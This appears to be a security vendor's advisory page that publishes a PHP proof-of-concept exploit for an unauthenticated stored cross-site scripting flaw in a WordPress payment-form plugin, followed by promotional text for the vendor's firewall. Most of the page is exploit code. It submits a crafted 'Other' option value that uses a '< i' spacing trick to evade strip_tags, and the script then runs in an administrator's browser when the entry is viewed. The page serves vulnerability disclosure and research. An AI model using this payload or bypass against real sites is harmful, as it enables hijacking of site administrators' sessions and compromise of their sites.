Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126342 - WPForms <= 2.0.4 - Unauthenticated Stored Cross-Site Scripting via Multiple Choice 'Other' Option Value on Payment Forms

// This PoC demonstrates an unauthenticated attacker submitting a payment form with a malicious 'Other' option value.
// The payload is stored and later executed when an administrator views the payment entry.

$target_url = 'http://example.com'; // Change to your WordPress site URL

// The payload uses a space after '<' to bypass strip_tags, then is normalized to a real element by wp_kses.
$payload = '< i class="wpforms-single-payment-tooltip" data-tooltip-content="<img src=x onerror=alert(document.domain)>">x< /i>';

// Step 1: Fetch the form page to extract necessary fields (form ID, nonce, etc.)
$form_page_url = $target_url . '/payment-form/'; // Adjust to the actual page containing the payment form
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $form_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract form ID and nonce (simplified; in real scenario parse HTML)
// Assume form ID is 1 and nonce is extracted from page.
// For demonstration, we use placeholders.
$form_id = '1';
$nonce = 'abc123'; // Replace with actual nonce from the page

// Step 2: Submit the form with the malicious payload in the 'Other' option field.
// The field name follows WPForms convention: wpforms[fields][FIELD_ID]
// For a Multiple Choice field with 'Other' option enabled, the submitted value for the 'Other' choice is used.
// We need to set the specific field ID that corresponds to the Multiple Choice field.
$field_id = '2'; // Adjust to the actual field ID of the Multiple Choice field

// Construct POST data
$post_data = [
    'wpforms[fields][' . $field_id . ']' => $payload,
    'wpforms[form_id]' => $form_id,
    'wpforms[nonce]' => $nonce,
    // Add other required fields (name, email, etc.) if the form requires them
    'wpforms[fields][1]' => 'Test Name', // Example name field
    'wpforms[fields][3]' => 'test@example.com', // Example email field
    'wpforms[submit]' => 'wpforms-submit',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
curl_close($ch);

echo "Payload submitted. When an admin views the payment entry, the XSS will execute.n";

// Note: In a real attack, the form submission might not use admin-ajax.php; it could be a regular POST to the page.
// Adjust accordingly. The key is to inject the payload into the 'Other' option value of a Multiple Choice field on a payment form.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.